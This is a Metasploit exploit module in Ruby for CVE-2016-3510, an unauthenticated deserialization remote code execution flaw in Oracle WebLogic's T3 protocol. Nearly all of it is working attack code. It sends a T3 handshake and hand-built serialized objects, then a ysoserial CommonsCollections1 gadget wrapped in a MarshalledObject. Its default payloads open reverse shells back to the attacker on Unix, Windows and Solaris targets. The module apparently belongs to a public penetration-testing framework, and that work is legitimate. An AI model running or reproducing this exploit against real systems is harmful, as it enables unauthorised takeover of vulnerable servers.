##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject',
        'Description' => %q{
          An unauthenticated attacker with network access to the Oracle Weblogic Server T3
          interface can send a serialized object (weblogic.corba.utils.MarshalledObject)
          to the interface to execute code on vulnerable hosts.
        },
        'Author' => [
          'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
          'Jacob Baines',      # Vulnerability Discovery - Tenable Network Security
          'Aaron Soto',        # Reverse Engineering JSO and ysoserial blobs
          'Steve Embling'      # T3S support
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2016-3510']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },
              'Payload' => {
                'Compat' => { 'PayloadType' => 'cmd' }
              }
            }
          ],
          [
            'Windows',
            {
              'Platform' => 'win',
              'Payload' => {},
              'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Solaris',
            {
              'Platform' => 'solaris',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
              'Payload' => {
                'Space' => 2048,
                'DisableNops' => true,
                'Compat' =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'generic perl telnet'
                }
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'WfsDelay' => 12 },
        'DisclosureDate' => '2016-07-19',
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(7001),
    ])

    register_advanced_options([
      OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
    ])
  end

=begin   This check is currently incompatible with the Tcp mixin.  :-(
  def check
    resp = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/console/login/LoginForm.jsp'
    )

    return CheckCode::Unknown('No valid response from target') unless resp && resp.code == 200

    unless resp.body.include?('Oracle WebLogic Server Administration Console')
      vprint_warning("Oracle WebLogic Server banner cannot be found")
      return CheckCode::Unknown('Oracle WebLogic Server banner not found')
    end

    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
    unless version
      vprint_warning("Oracle WebLogic Server version cannot be found")
      return CheckCode::Unknown('Could not determine WebLogic version from response')
    end

    version = Rex::Version.new(version)
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
    case
    when version.to_s.start_with?('10.3')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('10.3.6.0')
    when version.to_s.start_with?('12.1.3')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.1.3.0')
    when version.to_s.start_with?('12.2')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.2.1.0')
    end

    return CheckCode::Safe("WebLogic version #{version} is not vulnerable")
  end
=end

  def t3_handshake
    # retrieved from network traffic
    if !datastore['SSL'] || datastore['FORCE_T3']
      shake = 't3'
    else
      shake = 't3s'
    end
    shake << " 12.2.1\n"
    shake << "AS:255\n"
    shake << "HL:19\n"
    shake << "MS:10000000\n\n"

    sock.put(shake)
    sleep(1)
    sock.get_once
  end

  def build_t3_request_object
    # T3 request serialized data
    # retrieved by watching network traffic
    # This is a proprietary, undocumented protocol
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
    data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
    data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
    data << '700000000a000000030000000000000006007070707070700000000a00000003'
    data << '0000000000000006007006'

    data << 'fe010000'                                     # ----- separator -----

    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '72001d'                                       # className (29 bytes):
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
    data << '5461626c65456e747279'                         #   (continued)
    data << '2f52658157f4f9ed'                             #   serialVersionUID
    data << '0c00007870'                                   #   remainder of object header
    data << '72'                                           # object header
    data << '00247765626c6f6769632e636f6d6d6f6e2e696e74'   #   className (36 bytes): weblogic.common.internal.PackageInfo
    data << '65726e616c2e5061636b616765496e666f'           #   (continued)
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0008'                                         #   fieldCount = 8
    data << '4900056d616a6f72'                             #     0: Int: major
    data << '4900056d696e6f72'                             #     1: Int: minor
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
    data << '4c0009696d706c5469746c65'                     #     5: Obj: implTitle
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #        java/lang/String
    data << '4c000a696d706c56656e646f72'                   #     6: Obj: implVendor
    data << '71007e0003'                                   #        (Handle) 0x007e0003
    data << '4c000b696d706c56657273696f6e'                 #     7: Obj: implVersion
    data << '71007e0003'                                   #        (Handle) 0x007e0003
    data << '78707702000078'                               #   block footers

    data << 'fe010000'                                     # ----- separator -----

    data << 'aced0005'                                     # JSO v5 header
    data << '7372'                                         # object header
    data << '001d7765626c6f6769632e726a766d2e436c6173'     # className (29 bytes): weblogic.rjvm.ClassTableEntry
    data << '735461626c65456e747279'                       #    (continued)
    data << '2f52658157f4f9ed'                             # serialVersionUID
    data << '0c'                                           # EXTERNALIZABLE | BLOCKDATA
    data << '00007870'                                     # remainder of object header
    data << '72'                                           # object header
    data << '00247765626c6f6769632e636f6d6d6f6e2e696'      # className (36 bytes): weblogic.common.internal.VersionInfo
    data << 'e7465726e616c2e56657273696f6e496e666f'        #    (continued)
    data << '972245516452463e'                             # serialVersionUID
    data << '02'                                           # SC_SERIALIZABLE
    data << '0003'                                         #   fieldCount = 3
    data << '5b0008'                                       #   array header (8 bytes)
    data << '7061636b61676573'                             #     ARRAY NAME = 'packages'
    data << '740027'                                       #     TC_STRING className1 (39 bytes)
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #       weblogic/common/internal/PackageInfo
    data << '6e7465726e616c2f5061636b616765496e666f'       #       (continued)
    data << '3b'                                           #       (continued)
    data << '4c000e'                                       #   object header (14 bytes)
    data << '72656c6561736556657273696f6e'                 #     releaseVersion
    data << '740012'                                       #     TC_STRING (18 bytes)
    data << '4c6a6176612f6c616e672f537472696e673b'         #       versionInfoAsBytes
    data << '5b0012'                                       #   array header (18 bytes)
    data << '76657273696f6e496e666f41734279746573'         #     ARRAY NAME = java/lang/String;
    data << '740002'                                       #     TC_STRING (2 bytes)
    data << '5b42'                                         #       0x5b42 = [B
    data << '78'                                           # block footer

    data << '720024'                                       # class (36 bytes)
    data << '7765626c6f6769632e636f6d6d6f6e2e696e'         #   weblogic.common.internal.PackageInfo
    data << '7465726e616c2e5061636b616765496e666f'         #   (continued)
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID

    data << '02'                                           #   SC_SERIALIZABLE
    data << '0008'                                         #   fieldCount = 8
    data << '4900056d616a6f72'                             #   0: Int: major
    data << '4900056d696e6f72'                             #   1: Int: minor
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
    data << '71'                                           #      TC_REFERENCE
    data << '007e0004'                                     #      Handle = 0x007e0004
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
    data << '71'                                           #      TC_REFERENCE
    data << '007e0004'                                     #      Handle = 0x007e0004
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
    data << '71'                                           #      TC_REFERENCE
    data << '007e0004'                                     #      Handle = 0x007e0004
    data << '78'                                           # class footer
    data << '70'                                           # TC_NULL
    data << '77020000'                                     # BLOCKDATA (2 bytes): 0x0000
    data << '78'                                           # block footer

    data << 'fe010000'                                     # ----- separator -----

    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '72001d'                                       # className (29 bytes):
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
    data << '5461626c65456e747279'                         #   (continued)
    data << '2f52658157f4f9ed'                             #   serialVersionUID
    data << '0c00007870'                                   #   remainder of object header
    data << '720021'                                       # className (33 bytes)
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   weblogic.common.internal.PeerInfo
    data << '65726e616c2e50656572496e666f'                 #   (continued)
    data << '585474f39bc908f1'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0006'                                         #   fieldCount = 6
    data << '4900056d616a6f72'                             #     0: Int: major
    data << '4900056d696e6f72'                             #     1: Int: minor
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
    data << '5b00087061636b61676573'                       #     5: Array: packages
    data << '740027'                                       #        TC_STRING (39 bytes)
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #        Lweblogic/common/internal/PackageInfo;
    data << '6e7465726e616c2f5061636b616765496e666f'       #        (continued)
    data << '3b'                                           #        (continued)
    data << '78'                                           # block footer
    data << '720024'                                       # class (36 bytes)
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   Lweblogic/common/internal/PackageInfo;
    data << '65726e616c2e56657273696f6e496e666f'           #   (continued)
    data << '972245516452463e'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0003'                                         #   fieldCount = 3
    data << '5b0008'                                       #   0: Array
    data << '7061636b6167657371'                           #      packages
    data << '007e0003'                                     #      Handle = 0x00730003
    data << '4c000e72656c6561736556657273696f6e'           #   1: Obj: releaseVersion
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #      Ljava/lang/String;
    data << '5b001276657273696f6e496e666f41734279746573'   #   2: Array: versionInfoAsBytes
    data << '740002'                                       #      TC_STRING (2 bytes)
    data << '5b42'                                         #      VALUE = 0x5b42 = [B
    data << '78'                                           # block footer
    data << '720024'                                       # class: (36 bytes)
    data << '7765626c6f6769632e636f6d6d6f6e2e696e746572'   #   Name = weblogic.common.internal.PackageInfo
    data << '6e616c2e5061636b616765496e666f'               #   (continued)
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
    data << '02'                                           #   SC_SERIALIZABLE
    data << '0008'                                         #   fieldCount = 8
    data << '4900056d616a6f72'                             #   0: Int: major
    data << '4900056d696e6f72'                             #   1: Int: minor
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
    data << '71'                                           #      TC_REFERENCE
    data << '007e0005'                                     #      Handle = 0x007e0005
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
    data << '71'                                           #      TC_REFERENCE
    data << '007e0005'                                     #      Handle = 0x007e0005
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
    data << '71'                                           #      TC_REFERENCE
    data << '007e0005'                                     #      Handle = 0x007e0005
    data << '78'                                           # class footer
    data << '707702000078'                                 # block footers

    data << 'fe00ff'                                       # this cruft again.  some kind of footer

    data << 'fe010000'                                     # ----- separator -----

    # weblogic.rjvm.JVMID object
    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '720013'                                       #   class (19 bytes)
    data << '7765626c6f6769632e726a766d2e4a564d4944'       #   name = 'weblogic.rjvm.JVMID'
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
    data << '0000'                                         #   fieldCount = 0   (!!!)
    data << '78'                                           # block footer
    data << '70'                                           # NULL
    data << '7750'                                         # block header (80 bytes)
    data << '21'                                           #   !
    data << '000000000000000000'                           #   9 NULL BYTES
    data << '0d'                                           #   \n
    data << '3139322e3136382e312e323237' #   192.168.1.227
    data << '00'                                           #   \0
    data << '12'                                           #      #TODO: UNKNOWN
    data << '57494e2d4147444d56515542315436'               #   WIN-AGDMVQUB1T6
    data << '2e'                                           #      #TODO: UNKNOWN
    data << '656883348cd6000000070000'                     #      #TODO: UNKNOWN
    data << rport.to_s(16).rjust(4, '0')                   #   callback port
    data << 'ffffffffffffffffffffffffffffffffffffff'       #      #TODO: UNKNOWN
    data << 'ffffffffff'                                   #      #TODO: UNKNOWN
    data << '78'                                           # block footer

    data << 'fe010000'                                     # ----- separator -----

    # weblogic.rjvm.JVMID object
    data << 'aced0005'                                     # JSO v5 header
    data << '73'                                           # object header
    data << '72'                                           #   class
    data << '00137765626c6f6769632e726a766d2e4a564d4944'   #   Name: weblogic.rjvm.JVMID
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
    data << '0000'                                         #   fieldCount = 0
    data << '78'                                           # end block
    data << '70'                                           # TC_NULL
    data << '77'                                           # block header
    data << '20'                                           #   length = 32 bytes
    data << '0114dc42bd071a772700'                         #      #TODO: UNKNOWN
    data << '0d'                                           #      \n
    data << '3234322e3231342e312e323534'                   #      242.214.1.254
    data << '61863d1d'                                     #      #TODO: UNKNOWN
    data << '00000000'                                     #      NULL BYTES
    data << '78'                                           # block footer

    sock.put([data].pack('H*'))
    sleep(1)
    sock.get_once
  end

  def send_payload_objdata
    # basic weblogic ClassTableEntry object (serialized)
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
    objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'
    objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'
    objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'

    objdata << 'fe010000'                                  # ----- separator -----

    objdata << 'aced0005'                                  # JSO v5 header
    objdata << '73'                                        # object header
    objdata << '72'                                        #   class
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
    objdata << '73735461626c65456e747279'                  #   (cont)
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
    objdata << '0000'                                      #   fieldCount = 0
    objdata << '7870'                                      #   remaining object header
    objdata << '72'                                        # class header
    objdata << '00025b42'                                  #   Name: 0x5b42
    objdata << 'acf317f8060854e0'                          #   serialVersionUID
    objdata << '02'                                        #   SERIALIZABLE
    objdata << '0000'                                      #   fieldCount = 0
    objdata << '7870'                                      #   class footer
    objdata << '77'                                        # block header
    objdata << '020000'                                    #   contents = 0x0000
    objdata << '78'                                        #   block footer

    objdata << 'fe010000'                                  # ----- separator -----

    objdata << 'aced0005'                                  # JSO v5 header
    objdata << '73'                                        # object header
    objdata << '72'                                        #   class
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
    objdata << '73735461626c65456e747279'                  #   (cont)
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
    objdata << '0000'                                      #   fieldCount = 0
    objdata << '7870'                                      #   remaining object header
    objdata << '72'                                        # class header

    objdata << '00135b4c6a6176612e6c616e672e4f626a'        #   Name: [Ljava.lang.Object;
    objdata << '6563743b'                                  #   (cont)
    objdata << '90ce589f1073296c'                          #   serialVersionUID
    objdata << '02'                                        #   SERIALIZABLE
    objdata << '0000'                                      #   fieldCount = 0
    objdata << '7870'                                      #   remaining object header
    objdata << '77'                                        # block header
    objdata << '020000'                                    #   contents = 0x0000
    objdata << '78'                                        #   block footer

    objdata << 'fe010000'                                  # ----- separator -----

    objdata << 'aced0005'                                  # JSO v5 header
    objdata << '73'                                        # object header
    objdata << '72'                                        #   class

    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
    objdata << '73735461626c65456e747279'                  #   (cont)
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
    objdata << '0000'                                      #   fieldCount = 0
    objdata << '7870'                                      #   block footer
    objdata << '72'                                        # class header
    objdata << '00106a6176612e7574696c2e566563746f72'      #   Name: java.util.Vector
    objdata << 'd9977d5b803baf01'                          #   serialVersionUID
    objdata << '03'                                        #   WRITE_METHOD | SERIALIZABLE
    objdata << '0003'                                      #   fieldCount = 3
    objdata << '4900116361706163697479496e6372656d656e74'  #   0: Int: capacityIncrement
    objdata << '49000c656c656d656e74436f756e74'            #   1: Int: elementCount
    objdata << '5b000b656c656d656e7444617461'              #   2: Array: elementData
    objdata << '7400135b4c6a6176612f6c616e672f4f626a6563'  #   3: String: [Ljava/lang/Object;
    objdata << '743b'                                      #      (cont)
    objdata << '7870'                                      #   remaining object header
    objdata << '77'                                        # block header
    objdata << '020000'                                    #   contents = 0x0000
    objdata << '78'                                        #   block footer

    objdata << 'fe010000'                                  # ----- separator -----

    # payload generated from ysoserial and wrapped in a MarshalledObject:
    objdata << 'aced0005'                                  # JSO v5 header
    objdata << '73'                                        # object header
    objdata << '72'                                        #   class header

    objdata << '00257765626c6f6769632e636f7262612e757469'  #     Name = weblogic.corba.utils.MarshalledObject
    objdata << '6c732e4d61727368616c6c65644f626a656374'    #       (cont)
    objdata << '592161d5f3d1dbb6'                          #     serialVersionUID
    objdata << '02'                                        #     SERIALIZABLE
    objdata << '0002'                                      #     fieldCount = 2
    objdata << '49000468617368'                            #     0: Int: hash
    objdata << '5b00086f626a4279746573'                    #     1: Array: objBytes
    objdata << '7400025b42'                                #        Value: 0x5b42
    objdata << '7870'                                      #     class footer
    #   class Data:
    objdata << '21210fdc'                                  #     hash = 0x21210fdc (555814876d)
    objdata << '757200025b42'                              #     objBytes = [ 0x5b42 ]
    objdata << 'acf317f8060854e0'                          #     serialVersionUID
    objdata << '02'                                        #     SERIALIZABLE
    objdata << '0000'                                      #     fieldCount = 0
    objdata << '7870'                                      #   class footer
    objdata << '0000'                                      #   arraySize (first two bytes)

    # java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe
    java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)
    objdata << (java_payload.length).to_s(16).rjust(4, '0') # arraySize (lower two bytes)
    objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join

    # basic weblogic ImmutableServiceContext object (serialized)
    objdata << 'fe010000'                                  # ----- separator -----

    objdata << 'aced0005'                                  # JSO v5 header
    objdata << '73'                                        # object header
    objdata << '72'                                        #   class
    objdata << '00257765626c6f6769632e726a766d2e496d6d75'  #   Name = weblogic.rjvm.ImmutableServiceContext
    objdata << '7461626c6553657276696365436f6e74657874'    #     (cont)
    objdata << 'ddcba8706386f0ba'                          #   serialVersionUID
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
    objdata << '0000'                                      #   fieldCount = 0
    objdata << '78'                                        #   remainder of object header
    objdata << '72'                                        # class header
    objdata << '00297765626c6f6769632e726d692e70726f7669'  #   Name: weblogic.rmi.provider.BasicServiceContext
    objdata << '6465722e426173696353657276696365436f6e74'  #     (cont)
    objdata << '657874'                                    #     (cont)
    objdata << 'e4632236c5d4a71e'                          #    serialVersionUID
    objdata << '0c'                                        #    SERIALIZABLE | BLOCKDATA
    objdata << '0000'                                      #    fieldCount = 0
    objdata << '78'                                        #    block footer
    objdata << '70'                                        #    TC_NULL
    objdata << '77'                                        #  block header
    objdata << '020600'                                    #    Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW  #TODO: WHY?
    objdata << '73'                                        #    object header
    objdata << '72'                                        #      class description
    objdata << '00267765626c6f6769632e726d692e696e746572'  #        Name = weblogic.rmi.internal.MethodDescriptor
    objdata << '6e616c2e4d6574686f6444657363726970746f72'  #          (cont)
    objdata << '12485a828af7f67b'                          #        serialVersionUID
    objdata << '0c'                                        #    EXTERNALIZABLE | BLOCKDATA
    objdata << '0000'                                      #    fieldCount = 0
    objdata << '78'                                        #    block footer
    objdata << '70'                                        #    TC_NULL
    objdata << '77'                                        #  block header
    objdata << '34002e61757468656e746963617465284c776562'  #   HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;)
    objdata << '6c6f6769632e73656375726974792e61636c2e55'  #     (cont)
    objdata << '736572496e666f3b290000001b'                #     (cont)
    objdata << '78'                                        #   block footer
    objdata << '78'                                        # object footer

    objdata << 'fe00ff'                                    # this cruft again.  some kind of footer

    # sets the length of the stream
    data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')
    data << objdata

    sock.put([data].pack('H*'))
    sleep(1)
    sock.get_once
  end

  def exploit
    connect

    print_status('Sending handshake...')
    t3_handshake

    print_status('Sending T3 request object...')
    build_t3_request_object

    print_status('Sending client object payload...')
    send_payload_objdata

    handler
    disconnect
  end
end
